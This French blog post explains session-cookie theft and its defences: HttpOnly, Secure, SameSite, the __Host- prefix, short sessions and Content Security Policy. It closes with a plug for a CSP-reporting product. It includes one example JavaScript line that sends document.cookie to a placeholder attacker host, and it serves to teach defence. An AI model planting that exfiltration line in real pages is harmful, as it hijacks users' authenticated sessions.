Comment les attaquants volent les cookies de session, et les attributs qui les arrêtent

Un cookie de session volé, c’est un utilisateur connecté : pas de mot de passe à casser, MFA déjà validée. Les routes de vol, ce que font vraiment HttpOnly, Secure et SameSite, et là où la CSP prend le relais.

Publié le

Un attaquant qui vise les comptes de vos utilisateurs perd rarement du temps sur le mot de passe. Le cookie de session posé par votre serveur après connexion vaut plus cher, et il est souvent plus simple à prendre.

Le vol passe surtout par du JavaScript exécuté dans la page de la victime, via une faille XSS ou un script tiers compromis, qui lit document.cookie et expédie la valeur vers un serveur contrôlé par l’attaquant. Rejouer ce cookie suffit à se connecter à la place de la victime : pas de mot de passe demandé, pas de MFA, puisque la victime a déjà passé les deux. La défense est un empilement : les attributs HttpOnly, Secure et SameSite, le préfixe __Host-, des sessions courtes et une Content Security Policy pour tout ce que les attributs ne couvrent pas.

Le cookie, c’est la session. Après connexion, votre serveur ne vérifie plus de mot de passe : il vérifie un identifiant de session à chaque requête et fait confiance à quiconque le présente. Pour le backend, une requête portant un cookie de session valide est l’utilisateur, quelle que soit la machine qui l’envoie.

C’est pour cela que le vol de cookie contourne la MFA par construction. Le second facteur a été vérifié une fois, au login, et le cookie en est le reçu. Des familles entières de malwares ne font qu’une chose : siphonner les cookies des postes infectés. Un cookie de session frais se revend mieux qu’un mot de passe derrière lequel la MFA monte encore la garde.

Comment les attaquants volent les cookies

La route principale, c’est l’accès par script. Tout JavaScript qui tourne dans votre page peut lire chaque cookie dépourvu de HttpOnly, et ce script n’a pas besoin d’entrer par une faille de votre propre code. Un conteneur de tag manager modifié, un script d’analytics servi compromis depuis son CDN, un widget enfoui sous quatre dépendances : tous s’exécutent avec la même autorité dans la page. Une fois en place, l’exfiltration tient conceptuellement en une ligne :

// conceptuel et désamorcé : toute l'attaque est là
new Image().src = 'https://collect.attaquant.example/?c=' + document.cookie;

Balise image, fetch, WebSocket : n’importe quel canal sortant autorisé par le navigateur fera l’affaire. L’utilisateur ne voit rien. Vous non plus, d’ailleurs, sauf si quelque chose dans le navigateur remonte l’information.

Deux routes sans script méritent un paragraphe. Sans l’attribut Secure, un cookie circule en HTTP clair et quiconque est placé sur le chemin réseau peut le lire. La généralisation du HTTPS a rendu le cas rare, pas éteint. Quant au CSRF, c’est le cousin qu’on confond avec le vol : l’attaquant n’apprend jamais le cookie, il pousse le navigateur de la victime à le dépenser sur une requête forgée, un problème de député confus que SameSite a justement été conçu pour fermer.

HttpOnly, Secure, SameSite : ce que fait vraiment chaque défense

DéfenseCe qu’elle bloqueCe qu’elle ne bloque pas
HttpOnlyLa lecture du cookie par script via document.cookieUn script qui agit comme l’utilisateur depuis la page
SecureLa circulation du cookie en HTTP clairTout ce qui se passe côté script
SameSite=LaxL’envoi du cookie sur les POST cross-site et les sous-requêtesLes navigations par lien le transportent encore, inutile contre une XSS sur votre propre site
SameSite=StrictL’envoi sur toute requête cross-site, clic sur lien comprisL’utilisateur venant d’un lien externe paraît déconnecté
SameSite=NoneRien : c’est le retrait volontaire pour les intégrations cross-site, et il exige Secure
Préfixe __Host-La pose du cookie en clair, depuis un sous-domaine ou sur un chemin restreint
Sessions courtes, rotation d’identifiantLimite la durée de validité d’un cookie voléLe vol lui-même

HttpOnly est l’attribut au meilleur rendement : une propriété, et toute la route « lire puis exfiltrer » disparaît. En quinze ans, je n’ai vu qu’une seule raison présentée comme légitime de l’omettre sur un cookie de session (elle n’a pas survécu à la revue). Une base saine ressemble à ceci :

Set-Cookie: __Host-session=<id>; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=28800

Faites tourner l’identifiant au login et à chaque élévation de privilège et gardez un Max-Age plus court que ce qui semble confortable. Un cookie volé qui expire en huit heures est un incident bien plus petit qu’un cookie valable un mois.

Le point d’architecture qu’il faut dire honnêtement : avec HttpOnly, le script injecté ne lit plus le cookie, mais il s’exécute toujours dans une page authentifiée. Il peut soumettre des formulaires, appeler vos API, changer l’adresse email du compte, et le navigateur attachera lui-même le cookie de session à chacune de ces requêtes. L’attaquant agit comme l’utilisateur sans jamais détenir le secret.

Les applications single-page aggravent le cas : un jeton stocké dans localStorage ou en mémoire lisible par JavaScript n’a aucune protection HttpOnly, l’attribut n’existant que pour les cookies.

C’est ici que la Content Security Policy gagne sa place. Un script qui ne peut pas s’exécuter ne vole rien et n’usurpe personne, et connect-src ferme le canal d’exfiltration pour ce qui passerait quand même. C’est aussi la seule couche capable de vous prévenir qu’une tentative a eu lieu : les attributs de cookie échouent en silence, quand une CSP émet un rapport de violation depuis le navigateur de la victime dès qu’un chargement ou un appel sortant illégitime est bloqué. Nous avons construit CentralCSP pour collecter et indexer ces rapports, parce qu’une exfiltration bloquée dont personne n’entend parler est un avertissement perdu.

Les attributs sur le cookie, la CSP sur la page, le reporting sur la CSP. Cet ordre, replacé dans le tableau d’ensemble de la sécurité côté client, fait la différence entre empêcher l’incident d’hier et repérer celui de demain.

Questions fréquentes

Une faille XSS peut-elle voler un cookie de session ?

Oui, si le cookie n’a pas l’attribut HttpOnly : le script injecté lit document.cookie et envoie la valeur vers un serveur contrôlé par l’attaquant. Avec HttpOnly, le script ne peut plus lire le cookie, mais il peut toujours émettre des requêtes au nom de l’utilisateur connecté depuis la page. HttpOnly réduit les dégâts, il ne les supprime pas.

Quelle différence entre SameSite Lax et Strict ?

Lax retient le cookie sur les requêtes cross-site en POST et les sous-requêtes, mais l’envoie quand l’utilisateur suit un lien classique vers votre site, donc il arrive connecté. Strict le retient sur toutes les requêtes cross-site, clic sur un lien compris : plus sûr, mais un visiteur venant d’un email ou d’un autre site semble déconnecté.

HttpOnly suffit-il à protéger mes sessions ?

Non. HttpOnly protège la valeur du cookie, pas la session. Un script qui s’exécute dans la page peut agir comme l’utilisateur sans jamais lire le cookie, et les applications qui gardent leurs jetons dans localStorage n’ont aucune protection HttpOnly. Il faut aussi contrôler quels scripts peuvent s’exécuter, ce qui est le rôle d’une Content Security Policy.

À quoi sert le préfixe de cookie __Host- ?

Un cookie dont le nom commence par __Host- n’est accepté par le navigateur que s’il porte Secure, est posé depuis une page sécurisée, avec Path=/ et sans attribut Domain. Un attaquant qui contrôle un sous-domaine ou un canal non chiffré ne peut donc ni planter ni écraser votre cookie de session.